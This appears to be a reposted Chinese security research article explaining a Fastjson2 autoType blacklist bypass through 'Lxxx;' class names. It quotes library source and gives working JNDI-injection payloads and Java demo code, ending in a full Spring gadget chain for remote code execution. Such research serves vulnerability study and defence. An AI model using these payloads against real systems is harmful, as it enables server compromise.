Fastjson2 黑名单 Bypass 与利用
source link: https://paper.seebug.org/3017/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
作者:lhy
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
Fastjson1在调用 JSON.parse
的时候出现过一些列的问题。早在 FastJson1.2.25-1.2.41
版本中就存在通过 L
与;
绕过的利用方法。
当时比较盛行的一种利用方式为
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}
Fastjson在解析类名时会删除开头的 L
和 结尾的 ;
。
最近笔者在看Fastjson2的时候与Fastjson1的黑名单进行了一些比较,也发现了一些问题。
Fastjson2黑名单bypass
Fastjosn2测试版本
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.38</version>
</dependency>
首先检查一下在Fastjson2中 com/alibaba/fastjson2/reader/ObjectReaderProvider.java#checkAutoType
都做了什么。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, long features) {
if (typeName == null || typeName.isEmpty()) {
return null;
}
...
int typeNameLength = typeName.length();
// 类名长度检测
if (typeNameLength >= 192) {
throw new JSONException("autoType is not support. " + typeName);
}
// 不允许第一个字符为 [
if (typeName.charAt(0) == '[') {
String componentTypeName = typeName.substring(1);
checkAutoType(componentTypeName, null, features); // blacklist check for componentType
}
if (expectClass != null && expectClass.getName().equals(typeName)) {
afterAutoType(typeName, expectClass);
return expectClass;
}
boolean autoTypeSupport = (features & JSONReader.Feature.SupportAutoType.mask) != 0;
Class<?> clazz;
...
clazz = loadClass(typeName);
if (clazz != null) {
// 判断是否为 QLDataSourceOrRowSet 类型的类
if (ClassLoader.class.isAssignableFrom(clazz) || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
afterAutoType(typeName, clazz);
return clazz;
} else {
if ((features & JSONReader.Feature.IgnoreAutoTypeNotMatch.mask) != 0) {
return expectClass;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
afterAutoType(typeName, clazz);
return clazz;
}
眼尖的师傅一眼就可以发现了,在此时的版本中 Fastjson2 并没有对 L
和 ;
的场景进行处理。也就是我们在解析字符的时候,是可以传入 Lxxxx;
的。那么此时Fastjson2能否正确解析类呢。
然后我们跟进一下 com/alibaba/fastjson2/util/TypeUtils.java#loadClass
函数的处理流程。
public static Class loadClass(String className) {
if (className.length() >= 192) {
return null;
}
...
Class mapping = TYPE_MAPPINGS.get(className);
if (mapping != null) {
return mapping;
}
if (className.startsWith("java.util.ImmutableCollections$")) {
try {
return Class.forName(className);
} catch (ClassNotFoundException e) {
return CLASS_UNMODIFIABLE_LIST;
}
}
// 可以看到此时 Fastjson2 是对 `Lxxx;` 进行了处理的
if (className.charAt(0) == 'L' && className.charAt(className.length() - 1) == ';') {
className = className.substring(1, className.length() - 1);
}
if (className.charAt(0) == '[' || className.endsWith("[]")) {
String itemClassName = className.charAt(0) == '[' ? className.substring(1) : className.substring(0, className.length() - 2);
Class itemClass = loadClass(itemClassName);
if (itemClass == null) {
throw new JSONException("load class error " + className);
}
return Array.newInstance(itemClass, 0).getClass();
}
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
try {
return contextClassLoader.loadClass(className);
} catch (ClassNotFoundException ignored) {
}
}
try {
return JSON.class.getClassLoader().loadClass(className);
} catch (ClassNotFoundException ignored) {
}
try {
return Class.forName(className);
} catch (ClassNotFoundException ignored) {
}
return null;
}
看起来我们可以用Fastjson1中的一些名单进行bypass了。
如何RCE
在上一节中说道,Fastjson2在解析字符串时,可以通过使用 Lxxx;
的形式绕过他的黑名单限制,但是除了对于类名的判断,Fastjson2还有一些其他的黑名单检测方式,比如在 checkAutoType
时判断了一个类是否为 DataSource
相关的类。
让我们具体调试一下。
首先利用之前的poc尝试一下:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}
可以看到此时会去加载类了。
由于Fastjson2会对这个类名进行处理,所以不用担心找不到这个类。
但是接下来Fastjson2还会进行进一步的判断。
此时是无法过这个校验的。也就是这个我们尝试的poc在Fastjson2中无法使用。
要找到可以利用的POC也简单,只需要找一个不是 Datasource
相关的类即可。如下:
public static void main(String[] args) {
String poc = "{\"@type\":\"Lorg.apache.xbean.propertyeditor.JndiConverter;\",\"asText\":\"rmi://127.0.0.1:8089/test\"}";
Object obj = JSON.parse(poc, JSONReader.Feature.UseNativeObject,
JSONReader.Feature.SupportAutoType);
System.out.println(obj);
}
在使用上面的这个POC时,需要一个依赖。
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.15</version>
</dependency>
Spring框架中的依赖利用
为了继续深入找到一个被更加广泛引入的利用类,笔者对spring进行了进一步查找,发现在Spring中存在这么一个类:org.springframework.jndi.JndiObjectTargetSource
,这个类有一个 getTarget
方法,可以触发JNDI的调用。下面是一个最小调用的demo。
String poc3 = "{\n" +
" \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
" \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
" \"jndiTemplate\": {\n" +
" \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
" \"environment\": {\n" +
" \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
" }\n" +
" }\n" +
"}";
JndiObjectTargetSource o = (JndiObjectTargetSource) JSON.parse(poc3, JSONReader.Feature.SupportAutoType);
o.getTarget();
然后可以看到,当parse出该对象后,如果触发到了 getTarget
方法,就会调用到 JNDI的查询。
为了让这个利用更加好用,还需要想一个办法让他能自动调用到 JndiObjectTargetSource
对象的 getTarget
方法。
熟系 Fastjson1的师傅可能会想到通过 json path
的方式,可以直接取target进行触发,但是这条路在 Fastjson2中是行不通的。
因此为了调用到 getTarget
方法,笔者这里想到了一条调用路径为:setXXX -> toString -> getTarget
。在这里直接给出一条可以用的链。
{
"@type":"javax.swing.plaf.basic.BasicComboBoxEditor",
"item":{
"@type":"com.alibaba.fastjson2.JSONObject",
"a": {
"@type":"Lorg.springframework.jndi.JndiObjectTargetSource;",
"jndiName": "rmi://127.0.0.1:12312/Exp",
"jndiTemplate": {
"@type":"org.springframework.jndi.JndiTemplate",
"environment": {
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
}
}
}
}
Fastjson2 在构造 BasicComboBoxEditor
对象时,会调用它的 setItem
方法,而 setItem
方法会调用到 JSONObject
的 toString
方法,然后会进一步调用到 JndiObjectTargetSource
的 getTarget
方法。有兴趣的师傅可以自行调试一下。
完整利用demo如下。
String poc = "{\n" +
" \"@type\":\"javax.swing.plaf.basic.BasicComboBoxEditor\",\n" +
" \"item\":{\n" +
" \"@type\":\"com.alibaba.fastjson2.JSONObject\",\n" +
" \"a\": {\n" +
" \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
" \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
" \"jndiTemplate\": {\n" +
" \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
" \"environment\": {\n" +
" \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
Object o = (Object) JSON.parse(poc, JSONReader.Feature.SupportAutoType);
其实这种bypass也不是Fastjson2全版本通杀的,原因在于只有 2.0.14
版本开始,loadClass 才会对 L
和 ;
进行处理。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3017/
Recommend
-
111
随着手机充电的需求,如今的插线板很多都自带USB接口。这个小小的改进带给生活许多便利,但是有关部门的检测却发现,这种新型便利的插线板,却存在一些隐患。日前,上海市质监局对于上海市生产、销售和电商平台销售的带USB接口的电源适配器(插线板)进行了质量监...
-
122
谈谈 spark 的黑名单设计 Original...
-
98
国家工商总局在今年3月15日出台了《网络购买商品七日无理由退货暂行办法》,新规实施不到一年,买卖双方不断产生“退换货”的争议。一名90后小伙就因为频繁退换同一款手机,商家拒绝执行“无理由退换货”规定。扬子晚报消费评审团记者调查发现,为了避免一些消费者频繁...
-
124
757名劣迹配送员上了“黑名单” 名单将每月更新 法制晚报讯(记者张鑫)市民...
-
110
新浪科技讯北京时间1月13日上午消息,美国当地时间1月12日,美国贸易代表办公室发布有关2017年度知识产权保护的报告,淘宝等9家中国市场再次被列入其所谓“恶名市场”名单,占比约20%,其中有淘宝网等3家电商平台,和北京秀水市场等6家线下市
-
65
README.md php_xor_bypass 利用随机异或无限免杀d盾
-
8
Flask-jinja2 SSTI 一般利用姿势 SSTI 中常用的魔术方法 很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。 面向对象语言的方法来自于类,对于python,有很多好用的...
-
7
在 2021 年再看 ciscn_2017 - babydriver(下):KPTI bypass、ldt_struct 的利用、pt_regs 通用内核ROP解法 阅...
-
3
1. FASTJSON v2 FASTJSON v2是FASTJSON项目的重要升级,目标是为下一个十年提供一个高性能的JSON库。通过同一套API, 支持JSON/JSONB两种协议,JSONPath...
-
10
本文主要介绍两种利用msf生成python版 payload,并利用Py2exe或PyInstaller将python文件转为exe文件,可成功bypass某些AV反弹shell msf-python反弹shell姿势1 1) msfvenom生成python后门 msfvenom -p python/meterpreter/rev...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK